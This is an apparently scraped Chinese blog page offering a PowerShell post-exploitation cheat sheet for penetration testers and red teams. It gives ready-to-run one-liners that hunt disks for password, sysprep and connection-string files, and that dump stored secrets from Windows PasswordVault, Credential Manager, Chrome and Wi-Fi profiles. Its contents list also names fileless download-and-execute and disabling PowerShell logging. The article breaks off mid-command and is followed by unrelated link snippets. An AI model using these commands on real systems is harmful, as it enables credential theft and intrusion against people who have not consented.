powershell渗透-信息收集命令
powershell渗透-信息收集命令
本文包含从 Internet 的各个角落收集的 PowerShell 命令列表,这些命令在渗透测试或红色团队练习期间可能会有所帮助。
该列表包括各种开发后的单行在纯 PowerShell 不需要任何攻击 (= 可能标记为恶意) 第三方模块, 但也一堆方便的管理命令.
我们开始吧!
目录
隐藏
• 查找包含敏感信息的文件
o 查找可能感兴趣的文件
o 在 Sysprep 或未处理文件中查找凭据
o 查找包含"密码"字符串的配置文件
o 在配置文件中查找数据库凭据
o 查找 Web 服务器配置文件
• 提取凭据
o 从 Windows 密码 Vault 获取存储的密码
o 从 Windows 凭据管理器获取存储的密码
o 从谷歌浏览器转储密码
o 从无线配置文件获取存储的 Wi-Fi 密码
o 在注册表中搜索 SNMP 社区字符串
o 在注册表中搜索字符串模式
• 权限升级
o 搜索自动登录凭据的注册表
o 检查是否启用了"始终安装提升"
o 查找未引用的服务路径
o 检查 Lsass Wdigest 缓存
o SYSVOL 和组策略首选项 (GPP) 中的凭据
• 网络相关命令
o 从命令行设置 MAC 地址
o 允许远程桌面连接
o 使用大容量 DNS 反向查找的主机发现
o 端口扫描主机以寻找有趣的端口
o 端口扫描单个端口的网络(端口扫描)
o 创建来宾 SMB 共享驱动器
o 在 Windows 防火墙中白列出 IP 地址
• 其他有用的命令
o 无文件下载和执行
o 获取当前用户的 SID
o 检查我们运行是否具有提升(管理员)权限
o 禁用 PowerShell 命令日志记录
o 列出已安装的防病毒 (AV) 产品
• 结论
查找包含敏感信息的文件
在开发后阶段,以下 PowerShell 命令可以很方便地查找磁盘上可能包含凭据、配置详细信息和其他敏感信息的文件。
查找可能感兴趣的文件
通过此命令,我们可以根据文件名识别具有潜在敏感数据的文件,如帐户信息、凭据、配置文件等:
gci c:\ -Include pass.txt,pass.xml,pass.ini,pass.xlsx,cred,vnc,.config,accounts -File -Recurse -EA SilentlyContinue
虽然这会产生很多噪音,但也会产生一些非常有趣的结果。
建议对每个磁盘驱动器进行此操作,但您也可以在 c:\用户文件夹上运行它,以便获得一些快速获胜。
在 Sysprep 或未处理文件中查找凭据
此命令将查找自动安装和自动配置的残余,这些残余可能包含纯文本密码或 base64 编码密码:
gci c:\ -Include sysprep.inf,sysprep.xml,sysprep.txt,unattended.xml,unattend.xml,unattend.txt -File -Recurse -EA SilentlyContinue
这是众所周知的特权升级技术之一,因为密码通常是本地管理员密码。
建议对每个磁盘驱动器进行此设置。
查找包含"密码"字符串的配置文件
通过此命令,我们可以找到包含特定模式的文件,例如,这里正在寻找各种文本配置文件中的"密码"模式:
gci c:\ -Include .txt,.xml,.config,.conf,.cfg,.ini -File -Recurse -EA SilentlyContinue | Select-String -Pattern "password"
虽然这会产生很多噪音,但也会产生一些有趣的结果。
建议对每个磁盘驱动器进行此设置。
在配置文件中查找数据库凭据
使用以下 PowerShell 命令,我们可以在各种配置文件(如 Web.config)中查找存储在各种配置文件中的数据库连接字符串(具有纯文本凭据),ASP.NET在 Visual Studio 项目文件中等:
gci c:\ -Include .config,.conf,*.xml -File -Recurse -EA SilentlyContinue | Select-String -Pattern "connectionString"
查找连接字符串,例如对于远程 Microsoft SQL Server,可能会导致远程命令执行 (RCE) 使用 xp_cmdshell 功能(链接、链接、链接等)以及随后的横向移动。
查找 Web 服务器配置文件
通过此命令,我们可以轻松地找到属于 Microsoft IIS、XAMPP、Apache、PHP 或 MySQL 安装的配置文件:
gci c:\ -Include web.config,applicationHost.config,php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -EA SilentlyContinue
这些文件可能包含纯文本密码或其他有趣的信息,可以允许访问其他资源,如数据库,管理接口等。
提取凭据
以下 PowerShell 命令也属于开发后类别,它们可用于在访问 Windows 系统后提取凭据。
从 Windows 密码 Vault 获取存储的密码
使用以下 PowerShell 命令,我们可以从 Windows PasswordVault中提取机密,这是一种用于存储密码和 Web 凭据的 Windows 内置机制,例如用于 Internet 资源管理器、边缘和其他应用程序:
[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { $.RetrievePassword();$ }
请注意,保管库通常存储在以下位置,并且只能在当前记录的用户的上下文中检索机密:
• C:\Users<USERNAME>\AppData\Local\Microsoft\Vault
• C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault
• C:\ProgramData\Microsoft\Vault
有关 Windows 密码 Vault 的更多信息,请参阅此处。
从 Windows 凭据管理器获取存储的密码
Windows 凭据管理器提供了另一种用于存储凭据以登录到网站、登录到远程系统和各种应用程序的机制,它还提供了在 PowerShell 脚本中使用凭据的安全方法。
使用以下单行,我们可以使用凭据管理器从凭据管理器检索所有存储的凭据:
Get-StoredCredential | % { write-host -NoNewLine $.username; write-host -NoNewLine ":" ; $p = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($.password) ; [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($p); }
与PasswordVault类似,凭据存储在单个用户配置文件位置,只有当前记录的用户才能解密其:
• C:\Users<USERNAME>\AppData\Local\Microsoft\Credentials
• C:\Users<USERNAME>\AppData\Roaming\Microsoft\Credentials
• C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\
从谷歌浏览器转储密码
以下命令从 Google Chrome 浏览器(如果已安装)以及存储任何密码时提取存储的凭据:
[System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($datarow.password_value,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))
同样,这必须在目标(受害者)用户的上下文中执行。
从无线配置文件获取存储的 Wi-Fi 密码
通过此命令,我们可以从 Windows 系统中配置的无线配置文件中提取所有存储的 Wi-Fi 密码(WEP、WPA PSK、WPA2 PSK 等) :
(netsh wlan show profiles) | Select-String "
powershell渗透-信息收集命令的更多相关文章
- DNS信息收集命令nslookup
DNS信息收集--NSLOOKUP 前面文章我介绍了dig命令,NSLOOKUP命令用法差不多 简单查询 语法:nslookup domain [dns-server] nslookup www.si ...
- Metasploit笔记之信息收集命令
书籍参考:Metasploit渗透指南 Nmap:使用没有时 ubuntu自动提示安装命令 用法: nmap -sS -Pn 192.168.1.0 -sS:执行一次隐秘的tcp扫描 -Pn:不使用 ...
- python学习之路(2)(渗透信息收集)
scapy的用法 通过目标ip的回复判断目标ip主机的情况 先写上三层的IP 四层的TCP 然后r.display看一下我们的包 src是源ip dst是目标ip 我们添加目标ip 这里是网关的ip ...
- peeping tom 在渗透信息收集前的作用。
原本想写个截屏类的脚本,发现已经有了这个 py脚本 名字叫作: peeping tom 想要了解详细,戳:https://bitbucket.org/LaNMaSteR53/peepingtom/ ...
- 内网横向渗透 之 ATT&CK系列一 之 信息收集
前言 靶机下载地址:ATT&CK 拓扑图: 通过模拟真实环境搭建的漏洞靶场,完全模拟ATK&CK攻击链路进行搭建,形成完整个闭环.虚拟机默认密码为hongrisec@2019. 环境搭 ...
- 小白日记7:kali渗透测试之主动信息收集-发现(一)--二层发现:arping/shell脚本,Netdiscover,scapy
主动信息收集 被动信息收集可能不准确,可以用主动信息收集验证 特点:直接与目标系统交互通信,无法避免留下访问痕迹 解决方法:1.使用受控的第三方电脑进行探测,使用代理 (做好被封杀的准备) 2 ...
- 小白日记6:kali渗透测试之被动信息收集(五)-Recon-ng
Recon-ng Recon-NG是由python编写的一个开源的Web侦查(信息收集)框架.Recon-ng框架是一个全特性的工具,使用它可以自动的收集信息和网络侦查.其命令格式与Metasploi ...
- Kali Linux渗透测试实战 2.1 DNS信息收集
目录 2.1 DNS信息收集1 2.1.1 whois查询3 2.1.2 域名基本信息查询4 Dns服务器查询4 a记录查询4 mx记录查询5 2.1.3 域名枚举5 fierse 5 dnsdict ...
- 信息收集1:DNSEUM命令
1,背景 今天无意中发现了dnsenum这个工具,在网上搜了下关于dnsenum的介绍和安装使用方法,资料不是很全,但还好这个工具也算简单,网上也都有源码,可以自行下载下来阅读阅读.本人好奇在本机(u ...
随机推荐
- 爬虫之Selenium
简介 selenium最初是一个自动化测试工具,而爬虫中使用它主要是为了解决requests无法直接执行JavaScript代码的问题 selenium本质是通过驱动浏览器,完全模拟浏览器的操作,比如 ...
- go 数组指针 指针数组
package main import "fmt" func test() { var p *int // 定义指针 var a = 10 p = &a // 将a的地址赋 ...
- nginx优化:使用expires在浏览器端缓存静态文件
一,nginx中expires指令的作用 网站的图片等静态文件一旦发布,通常很少改动, 为了减小对服务器请求的压力,提高用户浏览速度, 我们可以设置nginx中的expires, 使用户访问一次后,将 ...
- cmd/powershell常用命令 git常用命令
cmd/powershell: 1. 新建文件夹: mkdir directoryName 2. 新建文件: cmd: type nul>fileName (空文件) powershell: n ...
- 第十八章 HTTPS介绍及实战演练
一.HTTPS介绍 1.概述 为什么需要使用HTTPS,因为HTTP不安全,当我们使用http网站时,会遭到劫持和篡改,如果采用https协议,那么数据在传输过程中是加密的,所以黑客无法窃取或者篡改数 ...
- 【Azure媒体服务 Azure Media Service】Azure Media Service中Stream Endpoint 说明 (流式处理终结点)
Azure 媒体服务是一个基于云的媒体工作流平台,用于生成需要编码.打包.内容保护和直播活动广播的解决方案. 在视频的直播,点播方案中,媒体服务的架构主要由三部分构成: 推流端,把本地视频或直播内容推 ...
- 【Azure 批处理 Azure Batch】在Azure Batch中如何通过开始任务自动安装第三方依赖的一些软件(Windows环境)
准备条件 Azure Batch账号 需要安装的软件包(zip)文件,里面包含该软件的msi安装文件, 此处使用python.msi 版本 3.3.3 作为例子(https://www.python. ...
- update不能直接使用select的返回结果
update不能直接使用select的返回结果,这是会报错的,这是SQL的语法规定的,若想在update中与select结合使用,sql需要这样写: 1.其中field1,field2为表中的字段名 ...
- ERROR [RMI TCP Connection(3)-127.0.0.1] - init datasource error
运行报错 ERROR [RMI TCP Connection(3)-127.0.0.1] - init datasource error, url: jdbc:mysql://localhost:33 ...
- PS矢量工具
4.1PS矢量及位图 (1)位图就是像素图,由一个个像素点组成:矢量图是记录点到点的连线或者说程序算出来的图. (2)位图放大很多倍之后就会失真,可以看到像素点,类似于马赛克,所以有分辨率这一说. ( ...